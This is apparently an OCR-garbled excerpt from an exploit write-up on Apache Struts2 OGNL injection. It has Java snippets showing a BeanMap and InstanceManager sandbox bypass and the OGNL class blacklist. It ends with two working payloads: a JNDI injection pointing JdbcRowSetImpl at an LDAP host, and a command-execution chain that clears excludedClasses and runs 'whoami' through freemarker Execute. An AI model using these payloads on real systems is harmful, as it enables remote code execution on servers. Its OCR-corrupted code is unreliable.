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<!-- https://mvnrepository.com/artifact/commons-colle
ctions/commons-collections -->
<dependency>

<groupId>commons-collections</groupIld>
<artifactId>commons-collections</artifactld>
<version>3.2.2</version>

</dependency>
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@0verride
public Object newInstance(String className) throws Illega
1AccessException,
InvocationTargetException, NamingException, Insta
ntiationException,

ClassNotFoundException, NoSuchMethodException {

Class<?> clazz = Thread.currentThread().getContextCla
ssLoader().loadClass(className);

return preparelnstance(clazz.getConstructor().newlnst

ance());
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public Object get(Object name) {
if ( bean !'= null ) {
Method method = getReadMethod( name );

return method.invoke( bean, NULL_ARGUMENTS );
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BeanMap b = new BeanMap();
b.setBean(ActionContext.actionContext.get().getValueStack());
BeanMap ¢ = new BeanMap();

c.setBean(b.get("context"));
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public void setExcludeProperties(Set<Pattern> excludeProp
erties) {
this.excludeProperties = excludeProperties;

public void setAcceptProperties(Set<Pattern> acceptedProp
erties) {
this.acceptProperties = acceptedProperties;

public void setExcludedClasses(Set<Class<?>> excludedClas

ses) {

this.excludedClasses = excluded(Classes;

#beanMap . put('excludedClasses',#{})
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AccessibleObjectHandler.class.isAssignableFr
om(methodDeclaringClass) ||
ClassResolver.class.isAssignableFrom(methodD

eclaringClass) |1

MethodAccessor.class.isAssignableFrom(method
DeclaringClass) ||

MemberAccess.class.isAssignableFrom(methodDe
claringClass) ||

OgnlContext.class.isAssignableFrom(methodDec
laringClass) |1

Runtime.class.isAssignableFrom(methodDeclari
ngClass) 11

ClassLoader.class.isAssignableFrom(methodDec
laringClass) |1

ProcessBuilder.class.isAssignableFrom(method
DeclaringClass) ||
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public class Execute implements TemplateMethodModel {
private static final int OUTPUT_BUFFER_SIZE = 1024;

public Execute() {
ks

public Object exec(List arguments) throws TemplateModelEx
ception {
StringBuilder aOutputBuffer = new StringBuilder();
String aExecute = (String)((String)arguments.get

@);
Process exec = Runtime.getRuntime().exec(aExecut
ed;
InputStream execOut = exec.getInputStream();
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public void setDataSourceName(String varl) throws SQLExce
ption {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(varl)) {
super.setDataSourceName(varl);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(varl);

}
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public boolean getAutoCommit() throws SQLException {
return this.conn.getAutoCommit();

jndi payload

%{('Powered_by_Unicode_Potats@,enjoy_it').(#UnicodeSec = #app
lication['org.apache.tomcat.InstanceManager']).(#rw=#UnicodeS
ec.newInstance('com.sun.rowset.JdbcRowSetImpl')).(#rw.setData
SourceName('ldap://192.168.3.254:10086/UnicodeSec')) . (#rw.get
DatabaseMetaData())}

m<HIT payload

%{("'Powered_by_Unicode_Potats@,enjoy_it").(#UnicodeSec = #app
lication['org.apache.tomcat.InstanceManager']).(#potats@=#Uni
codeSec.newInstance('org.apache.commons.collections.BeanMa
p')).(#stackvalue=#attr['struts.valueStack']).(#potatsd.setBe
an(#stackvalue)) . (#context=#potats@d.get('context')).(#potats
0.setBean(#context)) . (#sm=#potats0.get( 'memberAccess')).(#emp
tySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats
0.setBean(#sm)).(#potatsd.put('excludedClasses',#emptySet)).
(#potats@.put('excludedPackageNames' ,#emptySet)).(#exec=#Unic
odeSec.newInstance('freemarker.template.utility.Execute')).(#
cmd={"whoami '}) . (#res=#exec.exec(#cmd))}



